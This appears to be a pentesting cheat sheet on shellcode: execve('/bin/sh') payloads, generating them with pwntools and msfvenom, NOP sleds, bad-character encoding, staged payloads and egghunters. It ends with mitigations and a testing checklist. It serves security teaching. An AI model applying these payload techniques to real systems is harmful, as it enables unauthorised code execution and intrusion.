Shellcode

Shellcode is a piece of machine code —written directly in assembly/bytes— that performs a specific action when executed, classically spawning a shell (execve("/bin/sh")). It’s the “payload” that runs once your exploit manages to redirect the flow to a memory region you control that is executable. Today, with NX, direct shellcode is less common (ROP is used instead), but it remains fundamental when there are executable regions (no NX, RWX mmap, JIT).

What a typical shellcode does

# the classic goal: execve("/bin/sh", NULL, NULL)
# on x86-64, via the execve syscall (number 59):
RAX = 59            ; execve syscall number
RDI = "/bin/sh"     ; first argument (path)
RSI = 0             ; argv
RDX = 0             ; envp
syscall

Get shellcode (don’t reinvent it)

# pwntools generates shellcode for many architectures
from pwn import *
context.arch = 'amd64'
sc = asm(shellcraft.sh())        # shellcode that spawns /bin/sh
# or assemble your own
sc = asm('mov rax, 59; ...')
# databases
shell-storm.org/shellcode/       # ready shellcodes by architecture/goal
msfvenom -p linux/x64/exec CMD=/bin/sh -f python   # Metasploit

Deliver and execute the shellcode

# requirement: an EXECUTABLE memory region you can write to and jump to
# without NX: put the shellcode on the stack and jump to it (see pwn-stack)
payload = nop_sled + shellcode + padding + p64(address_to_sled)
# NOP sled (\x90...): land anywhere in the sled and "slide" to the shellcode
# with NX: no executable stack -> use ROP to mmap/mprotect RWX then jump,
#          or directly ROP to execve (ret2syscall, see pwn-rop)

The NOP sled (repeated \x90) relaxes precision: you don’t need to hit the shellcode’s exact address, just land anywhere in the NOP cushion.

Common restrictions (bad chars)

Many exploits have forbidden characters (\x00 almost always, because it terminates strings; sometimes \x0a, \x20…). The shellcode must avoid them:

# "null-free" / alphanumeric shellcode per the restriction
# encoders that avoid bad chars (msfvenom -b '\x00\x0a')
# self-decoding shellcode (decrypts at runtime)
# identify bad chars: test byte by byte what gets corrupted in memory

Shellcode in other contexts

# Windows: different shellcode (WinAPI calls, kernel32 resolution...)
# staged vs stageless: a small stager that downloads the rest, or all in one
# egghunter: when space is small, search memory for a marker + payload
# in remote exploitation it combines with a reverse shell (see fund-cli)

For the defense

NX/DEP: the direct mitigation — a non-executable stack/heap prevents running injected shellcode.
ASLR/PIE: hinder jumping to a fixed address.
W^X (write XOR execute): no writable region is executable (avoid RWX mmap).
CFI / shadow stack, anomalous RWX-region detection (EDR), JIT control.
The same mitigations that stop RIP control (canaries, etc.) prevent reaching shellcode execution.

Testing checklist

Define what the shellcode should do (shell/execve/reverse)
Generate it (pwntools shellcraft / msfvenom / shell-storm)
Identify bad chars and avoid them (encoder/null-free)
Is there an executable region? (no NX, RWX mmap, mprotect)
NOP sled + shellcode + jump to the region
If NX: ROP to mprotect/execve instead of direct shellcode
Execution confirmed (shell)
Blue: NX, W^X, ASLR active?